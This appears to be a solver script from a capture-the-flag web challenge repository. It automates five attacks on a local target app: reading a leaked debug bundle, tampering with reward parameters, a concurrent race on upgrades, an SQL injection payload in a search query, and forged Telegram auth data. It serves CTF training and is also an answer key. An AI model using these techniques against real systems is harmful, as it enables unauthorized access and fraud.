Files
Serdtse-Sysoly/finals/caplagcombat-web-hard/solve/solve.py
T
2026-09-17 00:50:07 +03:00

148 lines
4.8 KiB
Python

#!/usr/bin/env python3
import argparse
import concurrent.futures
import http.cookiejar
import json
import random
import re
import string
import sys
import urllib.error
import urllib.parse
import urllib.request
FLAG_RE = re.compile(r"caplag\{[^{}]+\}")
class Client:
def __init__(self, base_url: str):
self.base_url = base_url.rstrip("/")
self.cookies = http.cookiejar.CookieJar()
self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.cookies))
def cookie_header(self) -> str:
return "; ".join(f"{cookie.name}={cookie.value}" for cookie in self.cookies)
def request(self, method: str, path: str, body: dict | None = None, cookie: str | None = None) -> tuple[int, bytes]:
data = None
headers = {}
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
if cookie:
headers["Cookie"] = cookie
req = urllib.request.Request(self.base_url + path, data=data, headers=headers, method=method)
try:
with self.opener.open(req, timeout=8) as response:
return response.status, response.read()
except urllib.error.HTTPError as exc:
return exc.code, exc.read()
def json(self, method: str, path: str, body: dict | None = None, cookie: str | None = None) -> dict:
status, raw = self.request(method, path, body, cookie)
if status >= 400:
raise RuntimeError(f"{method} {path} returned HTTP {status}: {raw[:200]!r}")
return json.loads(raw.decode())
def random_name() -> str:
suffix = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
return f"ctf-solver-{suffix}"
def authenticate(client: Client) -> str:
client.json("POST", "/api/auth/telegram", {"devName": random_name()})
cookie = client.cookie_header()
if not cookie:
raise RuntimeError("auth did not set a session cookie")
return cookie
def flag_from_text(text: str) -> str:
match = FLAG_RE.search(text)
if not match:
raise RuntimeError(f"flag not found in response: {text[:300]!r}")
return match.group(0)
def solve_debug_bundle(client: Client) -> str:
status, raw = client.request("GET", "/api/ctf/debug-bundle.js")
if status != 200:
raise RuntimeError(f"debug bundle returned HTTP {status}")
return flag_from_text(raw.decode())
def solve_tap_claim(client: Client) -> str:
data = client.json(
"POST",
"/api/ctf/tap/claim",
{"taps": 10, "tapPower": 100000, "comboMultiplier": 1},
)
if "flag" not in data:
raise RuntimeError(f"tap claim did not return flag: {data}")
return data["flag"]
def solve_race_upgrade(base_url: str, attempts: int = 4) -> str:
for _ in range(attempts):
client = Client(base_url)
cookie = authenticate(client)
def upgrade_once() -> dict:
worker = Client(base_url)
return worker.json("POST", "/api/ctf/cards/upgrade", {}, cookie=cookie)
with concurrent.futures.ThreadPoolExecutor(max_workers=8) as pool:
futures = [pool.submit(upgrade_once) for _ in range(8)]
for future in concurrent.futures.as_completed(futures):
try:
data = future.result()
except Exception:
continue
if data.get("flag"):
return data["flag"]
raise RuntimeError("race upgrade did not reach target level")
def solve_contract_search(client: Client) -> str:
query = urllib.parse.urlencode({"q": "' OR is_hidden = true --"})
data = client.json("GET", f"/api/ctf/contracts/search?{query}")
for contract in data.get("contracts", []):
if contract.get("flag"):
return contract["flag"]
raise RuntimeError(f"hidden contract flag not found: {data}")
def solve_telegram_proof(client: Client) -> str:
template = client.json("GET", "/api/ctf/telegram-proof/template")["initData"]
forged = template + "&ctf_role=auditor&ctf_claim=claim_hard_flag"
data = client.json("POST", "/api/ctf/telegram-proof", {"initData": forged})
if not data.get("success") or not data.get("flag"):
raise RuntimeError(f"telegram proof was not accepted: {data}")
return data["flag"]
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("url", nargs="?", default="http://127.0.0.1:18080")
args = parser.parse_args()
client = Client(args.url)
authenticate(client)
flags = [
solve_debug_bundle(client),
solve_tap_claim(client),
solve_race_upgrade(args.url),
solve_contract_search(client),
solve_telegram_proof(client),
]
for flag in flags:
print(flag)
return 0
if __name__ == "__main__":
raise SystemExit(main())